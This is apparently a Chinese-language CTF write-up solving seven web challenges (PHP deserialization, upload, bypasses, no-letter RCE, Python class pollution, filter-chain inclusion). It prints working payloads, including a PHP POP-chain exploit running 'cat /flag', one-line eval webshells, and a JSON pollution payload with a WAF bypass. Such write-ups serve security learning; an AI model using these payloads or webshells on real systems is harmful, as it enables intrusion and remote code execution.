文章目录
- EzHttp
- unsign
- n00b_Upload
- easy_php
- EzRce
- ezpython
- ezrfi
EzHttp
按照提示POST传参
发现密码错误
F12找到hint,提示./robots.txt
访问一下,得到密码
然后就是http请求的基础知识
抓包修改
最后就是
我们直接添加请求头O2TAKUXX: GiveMeFlag
得到flag
unsign
源码
<?php
highlight_file(__FILE__);
class syc
{public $cuit;public function __destruct(){echo("action!<br>");$function=$this->cuit;return $function();}
}class lover
{public $yxx;public $QW;public function __invoke(){echo("invoke!<br>");return $this->yxx->QW;}}class web
{public $eva1;public $interesting;public function __get($var){echo("get!<br>");$eva1=$this->eva1;$eva1($this->interesting);}
}
if (isset($_POST['url']))
{unserialize($_POST['url']);
}?>
pop链
syc.__destruct -> lover.__invoke() -> web.__get()
exp
<?php
class syc
{public $cuit;
}class lover
{public $yxx;public $QW;
}class web
{public $eva1;public $interesting;
}$a=new syc();
$b=new lover();
$c=new web();
$a->cuit=$b;
$b->yxx=$c;
$c->eva1='system';
$c->interesting='cat /flag';
echo serialize($a);
?>
得到flag
n00b_Upload
题目对文件名没有检测,后缀可以为php
然后检测MIME类型,我们只需要修改为image/jpeg
即可
文件内容一句话木马会被检测,要修改为短标签
创建1.php
,写入
<?=@eval($_POST['shell']);?>
bp抓包修改MIME,上传成功
访问,命令执行得到flag
easy_php
考点:换行绕过,intval函数绕过,sha1绕过,php解析特性
源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {if (isset($_POST['qw']) && $_POST['yxx']) {$array1 = (string)$_POST['qw'];$array2 = (string)$_POST['yxx'];if (sha1($array1) === sha1($array2)) {if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {echo $flag;} else {echo "再绕最后一步吧";}} else {echo "好哩,快拿到flag啦";}} else {echo "这里绕不过去,QW可不答应了哈";}} else {echo "嘿嘿嘿,你别急啊";}
}else {echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>
分析一下
利用换行符%0a绕过preg_match()函数;数组绕过sha1;利用科学计数法绕过intval函数;最后是php解析特性[
会被解析成下划线
得到flag
EzRce
考点:异或绕过、无参RCE
源码如下
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){eval($data);
}else{echo "no!";
}
?>
题目过滤了字母数字,应该是无参rce,不过eval没被过滤
用异或绕过,构造如下
eval(next(getallheaders()));
发现权限不够,那么我们写马蚁剑连接
file_put_contents('shell.php','<?php eval($_POST[1]);?>');
我们查看下权限,发现只有r
然后就是find命令查找能用的,发现有find命令,得到flag
ezpython
考点:python原型链污染
源码
import json
import osfrom waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():def __init__(self):self.username=""self.password=""self.isvip=Falseclass hhh(User):def __init__(self):self.username=""self.password=""registered_users=[]
@app.route('/')
def hello_world(): # put application's code herereturn render_template("welcome.html")@app.route('/play')
def play():username=session.get('username')if username:return render_template('index.html',name=username)else:return redirect(url_for('login'))@app.route('/login',methods=['GET','POST'])
def login():if request.method == 'POST':username=request.form.get('username')password=request.form.get('password')user = next((user for user in registered_users if user.username == username and user.password == password), None)if user:session['username'] = user.usernamesession['password']=user.passwordreturn redirect(url_for('play'))else:return "Invalid login"return redirect(url_for('play'))return render_template("login.html")@app.route('/register',methods=['GET','POST'])
def register():if request.method == 'POST':try:if waf(request.data):return "fuck payload!Hacker!!!"data=json.loads(request.data)if "username" not in data or "password" not in data:return "连用户名密码都没有你注册啥呢"user=hhh()merge(data,user)registered_users.append(user)except Exception as e:return "泰酷辣,没有注册成功捏"return redirect(url_for('login'))else:return render_template("register.html")@app.route('/flag',methods=['GET'])
def flag():user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)if user:if user.isvip:data=request.args.get('num')if data:if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:flag = os.environ.get('geek_flag')return render_template('flag.html',flag=flag)else:return "你的数字不对哦!"else:return "I need a num!!!"else:return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')else:return "先登录去"def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ == '__main__':app.run(host="0.0.0.0",port="8888")
首先定义了user类,包括三个属性,其中isvip值为false,子类hhh继承user类,只有两个属性;接着就是/register
路由,发现实例化的是hhh(),也就是无法改变isvip的值,然后调用merge方法;/login
路由实现登录功能;然后看向关键的/flag
路由,会检测user.isvip是否为真,接收参数num进行if判断返回flag;最后发现有merge方法说明原型链污染
我们用postman发送如下json数据
(__base__
是为了指向父类user的isvip从而污染)
{"username":"1","password":"1","__class__":{"__base__":{"isvip":true}}
}
(后面参考其他师傅博客发现直接污染也行不需要用魔术方法)
发现有过滤,直接Unicode编码
{"username":"1","password":"1","__class__":{"__base__":{"isvi\u0070":true}}
}
登录进去之后,看九幽玄天神功已经是要你传参了
直接+123456789
绕过
ezrfi
考点:filterchain攻击
打开题目,提示hint.py
测试了一会发现文件包含会拼接.py
后缀
然后一步步解密,先base64发现是尊嘟假嘟
继续解密后发现是rc4加密,用密钥Syclover
很明显的要用filterchain绕过
(注意构造的命令长度需要是3的倍数,防止base64编码出错,长度不够就手动添加a)
查询跟目录
得到flag